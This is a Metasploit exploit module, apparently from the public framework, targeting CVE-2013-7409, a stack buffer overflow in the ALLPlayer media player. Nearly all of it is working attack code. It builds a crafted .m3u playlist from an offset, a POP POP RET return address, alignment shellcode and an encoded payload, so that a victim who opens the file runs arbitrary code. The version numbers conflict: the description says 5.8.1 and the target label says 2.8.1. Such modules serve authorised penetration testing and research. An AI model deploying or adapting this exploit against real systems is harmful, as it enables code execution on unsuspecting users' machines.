ALLPlayer M3U Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ALLPlayer M3U Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability in
          ALLPlayer 5.8.1, caused by a long string in a playlist entry.
          By persuading the victim to open a specially-crafted .M3U file, a
          remote attacker could execute arbitrary code on the system or cause
          the application to crash. This module has been tested successfully on
          Windows 7 SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery
          'Mike Czumak',  # Original exploit
          'Gabor Seljan'  # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-7409' ],
          [ 'BID', '62926' ],
          [ 'BID', '63896' ],
          [ 'EDB', '28855' ],
          [ 'EDB', '29549' ],
          [ 'EDB', '29798' ],
          [ 'EDB', '32041' ],
          [ 'OSVDB', '98283' ],
          [ 'URL', 'http://www.allplayer.org/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
          'Space' => 3060,
          'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'EncoderOptions' =>
              {
                'BufferRegister' => 'EAX'
              }
        },
        'Targets' => [
          [
            ' ALLPlayer 2.8.1 / Windows 7 SP1',
            {
              'Offset' => 301,
              'Ret' => "\x50\x45",  # POP POP RET from ALLPlayer.exe
              'Nop' => "\x6e"       # ADD BYTE PTR DS:[ESI],CH
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
      ],
      self.class
    )
  end

  def exploit
    nop = target['Nop']

    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << "\x61\x50"      # POPAD
    sploit << target.ret
    sploit << "\x53"          # PUSH EBX
    sploit << nop
    sploit << "\x58"          # POP EAX
    sploit << nop
    sploit << "\x05\x14\x11"  # ADD EAX,0x11001400
    sploit << nop
    sploit << "\x2d\x13\x11"  # SUB EAX,0x11001300
    sploit << nop
    sploit << "\x50"          # PUSH EAX
    sploit << nop
    sploit << "\xc3"          # RET
    sploit << nop * 109
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(10000) # Generate exception

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create("http://" + sploit)
  end
end